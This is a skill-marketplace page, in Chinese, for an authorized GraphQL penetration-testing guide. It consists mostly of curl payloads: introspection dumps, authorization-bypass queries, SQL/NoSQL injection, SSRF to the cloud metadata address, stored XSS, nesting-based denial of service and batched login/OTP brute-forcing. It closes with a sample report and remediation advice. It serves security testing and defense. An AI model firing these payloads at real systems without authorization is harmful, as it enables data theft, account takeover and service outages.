mcpField
P
performing-graphql-security-assessment

performing-graphql-security-assessment

github.com/mukul975安全35.2k154 次安装8 周前更新
代码仓库

关于 performing-graphql-security-assessment

这是面向安全测试人员的 GraphQL 安全评估指南,适用于授权渗透测试和漏洞赏金测试。它按流程检查端点、Schema、授权、注入、拒绝服务和批处理风险,并列出常用工具。

主要功能

  1. 01发现并识别 GraphQL 端点
  2. 02通过内省提取 Schema
  3. 03检查查询与字段级授权
  4. 04测试注入和拒绝服务风险
  5. 05评估批处理与认证绕过

适用场景

  1. 01执行 GraphQL 应用授权渗透测试
  2. 02评估单页应用或移动后端 API
  3. 03检查微服务 GraphQL 网关
  4. 04在漏洞赏金计划中测试 GraphQL API

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-graphql-security-assessment

安装后在 Claude Code 中输入/performing-graphql-security-assessment确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

执行 GraphQL 安全评估

何时使用

  • 在获得授权的渗透测试期间,目标应用使用 GraphQL API 时
  • 评估通过 GraphQL 通信的单页应用(React、Vue、Angular)时
  • 评估暴露 GraphQL 端点的移动应用后端时
  • 测试带有 GraphQL 网关或联邦的微服务架构时
  • 在针对基于 GraphQL 的 API 的漏洞赏金项目期间

前提条件

  • 授权:针对目标的书面渗透测试协议
  • Burp Suite Professional:带有用于 GraphQL 扫描的 InQL 扩展
  • GraphQL Voyager:Schema 可视化工具
  • InQL Scanner:用于 GraphQL 内省和查询生成的 Burp 扩展
  • Altair GraphQL Client:用于交互式测试的桌面 GraphQL 客户端
  • clairvoyance:在内省被禁用时进行 GraphQL Schema 枚举
  • curl:用于手动提交 GraphQL 查询

工作流

步骤 1:发现并识别 GraphQL 端点

定位 GraphQL 端点并确认 GraphQL 正在运行。

# Common GraphQL endpoint paths
for path in graphql graphiql playground query gql api/graphql \
  v1/graphql v2/graphql graphql/console; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' \
    "https://target.example.com/$path")
  echo "$path: $status"
done

# Check for GraphQL IDEs (GraphiQL, Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"

# Fingerprint GraphQL engine
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' \
  "https://target.example.com/graphql"
# Response varies by engine: Apollo returns "Query", Hasura returns "query_root"

# Check for WebSocket GraphQL subscriptions
# ws://target.example.com/graphql (or wss://)
步骤 2:执行 Schema 内省

提取完整的 GraphQL Schema 以了解 API 的攻击面。

# Full introspection query
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
  "https://target.example.com/graphql" | jq .

# Comprehensive introspection query
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
  "https://target.example.com/graphql" | jq . > schema.json

# If introspection is disabled, use clairvoyance for schema enumeration
python3 -m clairvoyance \
  -u "https://target.example.com/graphql" \
  -w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
  -o discovered-schema.json

# Visualize the schema using GraphQL Voyager
# Upload schema.json to https://graphql-kit.com/graphql-voyager/
步骤 3:测试查询和变更上的授权

验证访问控制是否在字段和对象级别得到强制执行。

# Test querying all users (should require admin)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ users { id email role passwordHash } }"}' \
  "https://target.example.com/graphql" | jq .

# Test accessing sensitive fields on own user
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
  "https://target.example.com/graphql" | jq .

# Test mutation authorization (admin-only actions with user token)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
  "https://target.example.com/graphql" | jq .

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
  "https://target.example.com/graphql" | jq .

# Test without any authentication
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { id email } }"}' \
  "https://target.example.com/graphql" | jq .
步骤 4:测试注入漏洞

评估 GraphQL 查询是否存在 SQL 注入、NoSQL 注入及其他注入类型。

# SQL injection in GraphQL arguments
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# NoSQL injection (MongoDB)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# Test for SSRF via GraphQL
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
  "https://target.example.com/graphql" | jq .

# Test for stored XSS via mutations
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
  "https://target.example.com/graphql" | jq .

# GraphQL directive injection
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
  "https://target.example.com/graphql" | jq .
步骤 5:测试拒绝服务攻击

评估查询复杂度限制和资源消耗控制。

# Deep nesting attack (query depth)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
  "https://target.example.com/graphql" | jq .

# Width attack (requesting many fields)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
  "https://target.example.com/graphql" | jq .

# Batch query attack
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
  "https://target.example.com/graphql" | jq .

# Fragment-based circular reference
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
  "https://target.example.com/graphql" | jq .

# Test for unbounded pagination
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(first: 1000000) { id email } }"}' \
  "https://target.example.com/graphql" | jq '.data.users | length'
步骤 6:测试批处理以绕过身份验证

利用查询批处理来暴力破解凭据或绕过速率限制。

# Batch login attempts to bypass rate limiting
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{login(email:\"[email protected]\",password:\"password1\"){token}}"},
    {"query":"mutation{login(email:\"[email protected]\",password:\"password2\"){token}}"},
    {"query":"mutation{login(email:\"[email protected]\",password:\"password3\"){token}}"},
    {"query":"mutation{login(email:\"[email protected]\",password:\"admin123\"){token}}"},
    {"query":"mutation{login(email:\"[email protected]\",password:\"letmein\"){token}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# Batch OTP verification attempts
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# Alias-based batching (same operation, different aliases)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { a1:login(email:\"[email protected]\",password:\"pass1\"){token} a2:login(email:\"[email protected]\",password:\"pass2\"){token} a3:login(email:\"[email protected]\",password:\"pass3\"){token} }"}' \
  "https://target.example.com/graphql" | jq .

关键概念

概念描述
内省暴露完整 Schema、类型、字段和变更的 GraphQL 功能
查询深度GraphQL 查询的嵌套层级;深层查询可能导致 DoS
查询复杂度根据查询中每个字段解析成本计算出的分数
批处理在单个 HTTP 请求中发送多个查询以并行执行
别名允许同一字段使用不同参数多次查询的 GraphQL 功能
片段可复用的字段选择,若未验证可能导致循环引用
N+1 问题未优化的解析器为嵌套字段引发指数级数据库查询
字段级授权应用于单个字段而非整个类型的访问控制

工具与系统

工具用途
InQL(Burp 扩展)用于 Burp Suite 的 GraphQL 内省扫描器和查询生成器
GraphQL Voyager交互式 Schema 可视化工具
Altair GraphQL Client用于构建和测试查询的桌面 GraphQL IDE
clairvoyance在内省被禁用时进行 Schema 枚举
graphql-copGraphQL 安全审计工具(pip install graphql-cop)
BatchQL用于绕过速率限制的 GraphQL 批处理攻击工具

常见场景

场景 1:内省暴露内部 Schema

内省在生产环境中被启用,泄露了诸如 AdminSettings、InternalUser 等内部类型以及 deleteAllUsers 等变更。这为后续攻击提供了完整的路线图。

场景 2:缺少字段级授权

User 类型暴露了 passwordHash、ssn 和 internalNotes 字段。虽然前端只查询 name 和 email,但任何已认证用户都可以直接请求敏感字段。

场景 3:批量登录绕过

GraphQL 端点接受批量查询。通过在单个 HTTP 请求中发送 1000 次登录变更尝试,攻击者绕过了仅统计 HTTP 请求数的基于 IP 的速率限制。

场景 4:嵌套查询 DoS

某社交网络 API 允许查询 friends { friends { friends { ... } } },且深度不受限制。10 层嵌套查询会导致服务器处理数百万次数据库查询,从而造成拒绝服务。

输出格式

## GraphQL Security Assessment Report

**Target**: https://target.example.com/graphql
**Engine**: Apollo Server 4.x
**Assessment Date**: 2024-01-15

### Findings Summary
| Finding | Severity | Status |
|---------|----------|--------|
| Introspection enabled in production | Medium | VULNERABLE |
| Missing field-level authorization | High | VULNERABLE |
| No query depth limit | High | VULNERABLE |
| Batch query rate limit bypass | High | VULNERABLE |
| GraphiQL IDE exposed | Low | VULNERABLE |
| SQL injection in user query | Critical | VULNERABLE |
| CSRF on mutations | Medium | PASS (custom header required) |

### Critical: SQL Injection via user Query
**Location**: `user(name: String)` query argument
**Payload**: `{ user(name: "' OR 1=1--") { id email role } }`
**Impact**: Full database read access via GraphQL interface

### High: Batch Authentication Bypass
**Location**: POST /graphql (array body)
**Payload**: Array of 100 login mutations in single request
**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request

### Recommendation
1. Disable introspection in production environments
2. Implement field-level authorization on all sensitive fields
3. Set query depth limit (max 7-10 levels)
4. Set query complexity limit and cost analysis
5. Disable or rate-limit batch queries
6. Remove GraphiQL/Playground from production
7. Parameterize all database queries in resolvers

评论

支持 Markdown